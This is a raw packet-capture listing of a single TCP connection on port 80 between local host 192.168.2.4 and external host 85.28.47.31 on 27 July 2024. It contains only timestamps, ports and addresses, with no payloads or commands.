Jul 27, 2024 05:39:18.908668041 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908700943 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908701897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908711910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908737898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908745050 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908771038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908803940 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908813953 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908835888 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908848047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908869982 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908880949 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908902884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908914089 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908937931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908950090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.908972025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.908982992 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.909006119 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.909017086 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.909049988 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.909715891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.909768105 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.909770966 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.909799099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.909817934 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.909847021 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.909849882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.909883022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.909897089 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.909929991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.909934044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.909966946 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.909984112 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.910001040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.910012007 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.910034895 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.910049915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.910083055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.910084963 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.910130978 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.910134077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.910170078 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.910182953 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.910198927 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.910218954 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.910229921 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.910243988 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.910263062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.910279989 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.910295963 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.910310984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.910329103 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.910343885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.910362959 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.910377979 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.910396099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.910410881 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.910429001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.910443068 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.910464048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.910476923 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.910497904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.910511017 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.910543919 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.995747089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.995810032 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.995842934 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.995857954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.995874882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.995889902 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.995906115 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.995920897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.995927095 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.995937109 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.995954037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.995969057 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.996036053 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.996068001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.996104002 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.996119022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.996197939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.996824026 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.996983051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997031927 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997040033 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997076035 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997107983 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997153044 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997159004 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997191906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997200012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997226000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997234106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997265100 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997275114 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997298956 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997308969 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997338057 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997348070 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997371912 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997381926 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997406960 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997416973 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997450113 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997457981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997490883 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997502089 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997524023 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997531891 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997558117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997567892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997591972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997601986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997633934 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997642040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997673988 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997685909 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997716904 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997728109 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997771025 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997777939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997821093 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997827053 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997859955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997874022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997893095 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997904062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997925997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997937918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997960091 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.997967958 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.997992992 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998008966 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998033047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998042107 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998068094 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998076916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998102903 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998111963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998136044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998145103 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998183012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998222113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998254061 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998262882 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998294115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998302937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998347044 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998352051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998384953 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998394012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998420000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998428106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998455048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998462915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998487949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998497009 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998521090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998528957 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998555899 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998564005 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998594046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998600006 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998625040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998641014 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998667002 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998672962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998708010 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998717070 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998752117 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998760939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998810053 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998810053 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998817921 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998842955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998876095 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998893976 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998908043 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998920918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998939991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998954058 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.998972893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.998996019 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999006033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999016047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999038935 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999047995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999073982 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999080896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999106884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999115944 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999140978 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999149084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999175072 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999186039 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999208927 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999217987 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999250889 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999279022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999314070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999321938 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999346972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999356031 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999381065 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999389887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999413967 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999423027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999448061 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999455929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999480963 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999490023 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999515057 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999524117 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999547958 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999557972 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999582052 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999589920 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999614954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999624014 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999649048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999656916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999681950 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999691963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999716997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999722958 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999751091 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999759912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999787092 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.999792099 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.999830961 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.001473904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.001539946 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.001542091 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.001574039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.001586914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.001609087 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.001616001 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.001653910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.001694918 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.001743078 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.001743078 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.001779079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.001790047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.001811981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.001822948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.001847029 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.001876116 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.001878977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.001890898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.001913071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.001924038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.001943111 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.001957893 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.001976967 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.001986980 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.002011061 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.002022028 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.002043962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.002053022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.002078056 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.002085924 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.002111912 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.002120018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.002145052 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.002156019 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.002177954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.002190113 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.002213001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.002222061 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.002254009 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.002255917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.002296925 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.086401939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.086443901 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.086513042 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.086621046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.086662054 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.086674929 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.086710930 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.086743116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.086766958 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.086776018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.086779118 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.086810112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.086838961 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.086844921 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.086854935 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.086879969 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.086896896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.086915016 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.086941957 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.086946964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.086982012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.086982012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.086982012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.087017059 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.087050915 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.087068081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.087099075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.088032007 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.088079929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.088088036 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.088139057 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.088139057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.088181019 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.088233948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.088283062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.088287115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.088321924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.088327885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.088355064 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.088375092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.088388920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.088418961 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.088432074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.088438988 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.088471889 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.088522911 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.088565111 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.088609934 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.088614941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.088649035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.088666916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.088681936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.088699102 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.088731050 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.088752985 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.088787079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.088799000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.088819981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.088855982 CEST	80	49477	85.28.47.31	192.168.2.4
